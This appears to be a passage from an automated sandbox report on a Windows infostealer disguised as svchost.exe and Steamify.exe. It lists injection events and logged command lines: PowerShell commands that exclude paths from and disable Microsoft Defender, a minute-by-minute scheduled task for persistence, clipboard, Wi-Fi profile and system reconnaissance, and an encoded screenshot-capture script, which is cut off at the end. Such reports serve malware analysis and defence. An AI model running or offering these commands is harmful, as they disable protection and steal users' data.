Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2156 wrote to memory of 4816 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2156 wrote to memory of 4816 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2156 wrote to memory of 4816 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2156 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2156 wrote to memory of 4332 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 4332 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 3672 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 3672 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4332 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\schtasks.exe
PID 4332 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\schtasks.exe
PID 4332 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\Built.exe
PID 4332 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Users\Admin\Built.exe
PID 804 wrote to memory of 3068 N/A C:\Users\Admin\Built.exe C:\Users\Admin\Built.exe
PID 804 wrote to memory of 3068 N/A C:\Users\Admin\Built.exe C:\Users\Admin\Built.exe
PID 3068 wrote to memory of 2804 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 2804 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 3076 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 3076 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1748 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1748 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 2804 wrote to memory of 1116 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2804 wrote to memory of 1116 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3076 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3076 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3068 wrote to memory of 1228 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1228 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1788 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1788 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 1228 wrote to memory of 4612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1228 wrote to memory of 4612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1788 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1788 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3068 wrote to memory of 3108 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 3108 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 2428 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 2428 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 3640 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 3640 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 3088 N/A C:\Users\Admin\Built.exe C:\Windows\System32\Conhost.exe
PID 3068 wrote to memory of 3088 N/A C:\Users\Admin\Built.exe C:\Windows\System32\Conhost.exe
PID 3068 wrote to memory of 4840 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 4840 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 4448 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 4448 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 4756 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 4756 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1776 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3068 wrote to memory of 1776 N/A C:\Users\Admin\Built.exe C:\Windows\system32\cmd.exe
PID 3108 wrote to memory of 3920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3108 wrote to memory of 3920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2428 wrote to memory of 1064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4756 wrote to memory of 2984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4756 wrote to memory of 2984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3088 wrote to memory of 4704 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3088 wrote to memory of 4704 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3640 wrote to memory of 1308 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe

"C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe"

C:\Users\Admin\AppData\Local\Temp\Steamify.exe

"C:\Users\Admin\AppData\Local\Temp\Steamify.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4816 -ip 4816

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 1168

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\Built.exe

"C:\Users\Admin\Built.exe"

C:\Users\Admin\Built.exe

"C:\Users\Admin\Built.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Built.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎​  .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Built.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎​  .scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1